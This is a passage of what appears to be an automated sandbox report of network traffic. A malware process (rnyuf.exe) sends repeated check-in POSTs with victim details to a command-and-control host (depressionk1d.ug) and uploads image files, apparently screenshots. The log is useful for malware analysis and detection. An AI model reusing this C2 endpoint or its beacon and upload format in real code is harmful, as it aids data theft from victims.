Nov 12, 2021 22:23:51.795983076 CET	7529	OUT	Data Raw: a0 e0 99 8f 9f 1c 60 8f dd 27 cb 87 3e bc e3 9f 55 97 4a d1 ce a9 79 e1 fb 76 be 6d 5a d2 29 73 74 5d 4c 12 4d 12 96 78 c4 61 77 01 f2 b2 86 de 79 00 e3 07 8e 7e 0b b9 2d e1 d5 55 21 25 b5 18 7c ac ef c7 95 fb e4 93 3d 39 fb 98 ed d7 35 ab 3f 88 Data Ascii: `'>UJyvmZ)st]LMxawy~-U!%\|=95?[F=%\f^Dh!rb@74+jpH-o F@dTCP5{fX-LlVH>_$YIJ)RJ+C!EQ!(LS@-4ZwQE1E
Nov 12, 2021 22:23:51.796039104 CET	7531	OUT	Data Raw: 8c 77 77 76 b6 69 a7 ce 2d e7 9a 7d e5 43 96 60 00 0a ac c7 ee b1 e9 d0 1a 35 9d 19 34 66 81 0e ab 61 77 24 d1 a4 cb 1d b0 9b 22 37 50 ca c7 7c 6a 30 41 1c 67 3e d5 37 89 35 8b 4d 57 4b b0 8e d9 dd ee ee 08 ba d4 f7 21 00 4e b1 ac 40 02 7a e7 6b Data Ascii: wwvi-}C`54faw$"7P\|j0Ag>75MWK!N@zk>=jyolbGZitU#giIe*tmvC4u+oI"f8O@j3yr5)lLJnQE;~CL-QtSqKVeSJm9kz:]46&O
Nov 12, 2021 22:23:51.796789885 CET	7542	OUT	Data Raw: 19 a0 41 d6 94 7d 68 a5 02 80 17 b5 38 50 05 14 c9 62 d2 9a 6f 6a 05 02 b0 b4 a0 e2 92 8a 04 3c 11 4a 6a 3a 78 3c 50 26 8d 9f 0c 8c eb 31 fd 0d 57 bd ff 00 8f e9 ff 00 df 35 67 c2 a3 3a e4 7f ee 9a ad 7b ff 00 1f f7 03 fd b3 5c ab fd e1 fa 1a d4 Data Ascii: A}h8Pboj<Jj:x<P&1W5g:{\ 84IEE%EP!E8S)QEhN_)LZO*dZZO1WHJ/GS^k3K!Xuqaanp=}8H)sHhp4t
Nov 12, 2021 22:23:51.796869040 CET	7545	OUT	Data Raw: a5 a2 97 14 c9 62 d2 d2 52 67 9a 64 8a 69 45 25 28 a6 b7 01 c3 a5 25 28 a4 3d 69 bd 84 14 52 52 8e b4 80 70 a7 81 4d 14 b5 68 97 b8 bc 52 d2 67 de 8a 60 3a 96 90 50 29 a2 47 51 49 4b 4c 41 40 a2 8a 62 1e 39 a5 a6 8e 94 e0 69 a1 0b 4b da 9b 9a 75 Data Ascii: bRgdiE%(%(=iRRpMhRg`:P)GQIKLA@b9iKuQ!Np&--vHfRJZhC-5iD1)RR\R:TH-\|-D>KDE JD)S)M8qV~<t-?3iE1)q Su%-4&>SUf2SDH)4jcS
Nov 12, 2021 22:23:51.847037077 CET	7589	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:51 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:23:51.849318027 CET	7590	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:51.874819994 CET	7590	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.4	49941	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:52.012182951 CET	7591	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:52.040024042 CET	7591	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.4	49942	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:52.169316053 CET	7592	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:52.201010942 CET	7592	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:23:52.261712074 CET	7592	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d156afa604c62121b8f472f457fa2c8f Host: depressionk1d.ug Content-Length: 106953 Cache-Control: no-cache
Nov 12, 2021 22:23:52.261745930 CET	7593	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 31 35 36 61 66 61 36 30 34 63 36 32 31 32 31 62 38 66 34 37 32 66 34 35 37 66 61 32 63 38 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d156afa604c62121b8f472f457fa2c8fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:52.262332916 CET	7603	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:52.262480974 CET	7605	OUT	Data Raw: 70 35 71 92 92 ba 22 51 71 76 61 45 14 55 12 14 51 45 00 14 57 47 e0 bf 0d 1f 14 6b 91 d8 83 f7 88 18 27 03 b9 24 fb 00 09 af 5d ff 00 85 0f a6 63 9d 47 ff 00 20 37 ff 00 1c ae 59 e2 a3 19 38 a8 b7 6e d6 fd 5a 3d 0a 59 7b 9d 28 d4 9d 48 c5 4b 6b Data Ascii: p5q"QqvaEUQEWGk'$]cG 7Y8nZ=Y{(HKk]EWUsgzMY3n/=xXK-ndeb>aFnEfJ*J)K;Ze8bR`3qm
Nov 12, 2021 22:23:52.285397053 CET	7608	OUT	Data Raw: fc 1b d1 91 82 9b dd b2 bf 98 3f 86 2b e8 c8 eb c2 fe 37 1f f8 ac ec ff 00 ec 1c 9f fa 32 4a f4 b2 59 b5 88 e5 5d 51 c9 8e 49 d3 b9 e6 b4 52 d2 75 af ac 3c 70 ef 49 4e a2 80 12 be 80 fd 9f 7f e4 5c d5 ff 00 eb ed 7f f4 0a f9 fe be 80 fd 9f bf e4 Data Ascii: ?+72JY]QIRu<pIN\]?kK9o3})keoI~\|==7\4v7T`?\;?G*s~E{\|>3r7zV{sev6'>JoQXz
Nov 12, 2021 22:23:52.285521030 CET	7629	OUT	Data Raw: cd cd 4a d7 3d 1a 78 e8 aa 51 a7 52 9f 37 2e 89 dd ad 1b 6e df 7b 67 d0 57 5f 13 bc 0b 7c d0 35 dd 92 dc 18 39 84 cb 14 0f e5 f4 fb b9 7e 3a 0e 9e 95 3c 5f 16 fc 21 03 4a d1 47 2c 6d 2b f9 92 14 58 86 f6 c0 19 3f 3f 27 00 0c fb 0a f9 d3 4f d2 35 Data Ascii: J=xQR7.n{gW_\|59~:<_!JG,m+X??'O5=X46[@lLZdT%c{dG_P?3=?=SV[b '' WUY''nSK27YH##dc[Qv0b#N0n]
Nov 12, 2021 22:23:52.308078051 CET	7661	OUT	Data Raw: 51 e4 e3 23 71 03 2e 7a 77 ac e5 f1 ad d2 dc aa 8d 32 cb fb 30 59 fd 87 ec be 44 3e 69 87 cb d8 47 da 3c bf 33 24 92 d9 cf 53 59 cb ae b1 f1 16 91 ac 1b 32 0e 9a 96 89 e4 f9 bf eb 3c 85 51 d7 1c 6e db e8 71 9e f5 57 aa df cf f0 d7 fe 01 16 a4 a3 Data Ascii: Q#q.zw20YD>iG<3$SY2<QnqWoO%=;OXjEAvM{v.$%z,@2"Fc ZXkK}cHK}Fb\cP"l'Zn.$&Y.VP*TlzQJ,t
Nov 12, 2021 22:23:52.308162928 CET	7672	OUT	Data Raw: 00 39 e0 56 7d cd bc 4b e0 b8 b5 c3 a7 c5 1d dd da 47 65 22 98 d3 64 29 b8 81 72 17 b1 7f 2c a8 38 1c ab 9c f2 2a bd ba bd ad e5 f8 b5 fd 7a dc 4e 83 ee 72 94 57 47 af ea 47 47 d6 af b4 6b 5d 2f 4e 5b 1b 09 cc 48 26 b4 8d e5 93 63 7d f6 94 82 e4 Data Ascii: 9V}KGe"d)r,8*zNrWGGGk]/N[H&c}31nEi~#-KVV1"N;Oz)Et,xEs5eH4o?&3UH"jStf:Ss]n-\F\|:D-&mxy!AeUEt
Nov 12, 2021 22:23:52.308278084 CET	7677	OUT	Data Raw: 1d a4 e0 15 00 63 93 9e 07 51 27 60 50 6d 5c c9 d3 f5 0b ad 2e fa 2b db 19 9a 1b 98 4e 63 91 40 ca 9c 63 23 35 d1 7f c2 cb f1 9f fd 0c 37 9f 98 ff 00 0a 7d cf 85 ec f4 bd 3f 50 92 74 be d4 a4 b6 b8 78 64 7b 09 11 45 a4 7b 55 a3 9a 54 2a c4 ab ee Data Ascii: cQ'`Pm\.+Nc@c#57}?Ptxd{E{UT*P6=Glzl1J&X9M.R"?WItVVtwY[REW\y.U>AFFy<I<+mgw74mm7uHy\p;PI
Nov 12, 2021 22:23:52.330862045 CET	7683	OUT	Data Raw: d0 83 fa 0a f9 4b 9a fa db c7 ff 00 f2 24 ea 1f f6 cf ff 00 46 2d 7c 91 5d b8 5f e2 cf d1 7e a7 99 8c 6d e0 e9 5f a4 a7 f9 43 fc c5 a2 92 97 9a f4 0f 28 28 a3 9a 28 00 a0 51 45 02 16 90 d1 45 00 06 8a 3b 51 40 05 2d 25 14 00 e1 45 25 14 00 b4 50 Data Ascii: K$F-\|]_~m_C(((QEE;Q@-%E%P(RP)pQLAKI@c%SQERRQE0Z)3E1zZJ(h-4R!4ZbRR-Q@8SE--4\--&h--6KJ3Mp4LTHf4dzPniV
Nov 12, 2021 22:23:52.330946922 CET	7699	OUT	Data Raw: 45 1a 87 82 46 55 dc e8 4e 71 bb 20 32 29 18 1c d7 21 81 e8 28 c0 f4 a7 ec 76 d7 fa d7 fc c3 db 34 f6 fe b4 ff 00 23 be 9f c7 30 cd e3 9d 56 e4 be 9f fd 93 3a dd ac 57 0b a5 44 b2 b0 78 5d 53 e7 11 f9 b9 2c 40 c9 39 e7 9e 33 5c 04 63 11 a8 f6 a7 Data Ascii: EFUNq 2)!(v4#0V:WDx]S,@93\c=)jPQX%V(IEJZ`-/4P!y(Z))y)i(CJ:LbLu`:4KIEiZ)(KMKIEJ3L\hKEZ)u(4
Nov 12, 2021 22:23:52.356133938 CET	7700	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:52 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.4	49943	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:52.341676950 CET	7699	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:52.367495060 CET	7700	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.4	49944	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:52.502800941 CET	7701	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:52.528734922 CET	7701	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49797	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:18.338051081 CET	2305	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1354c0751e396efa7287aa5f42b89d56 Host: depressionk1d.ug Content-Length: 106715 Cache-Control: no-cache
Nov 12, 2021 22:23:18.338172913 CET	2305	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 33 35 34 63 30 37 35 31 65 33 39 36 65 66 61 37 32 38 37 61 61 35 66 34 32 62 38 39 64 35 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1354c0751e396efa7287aa5f42b89d56Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:18.338393927 CET	2315	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:18.338515997 CET	2318	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:18.360738039 CET	2321	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:18.360805035 CET	2326	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:23:18.360861063 CET	2331	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:23:18.360874891 CET	2334	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:23:18.360915899 CET	2338	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:18.360949039 CET	2343	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:23:18.383275032 CET	2352	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:18.431119919 CET	2414	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:18 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.4	49945	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:52.669173002 CET	7702	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:52.697014093 CET	7703	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.4	49946	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:52.774061918 CET	7703	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:52.774396896 CET	7703	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:52.774677992 CET	7713	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:52.774816990 CET	7716	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:52.797285080 CET	7718	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:23:52 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 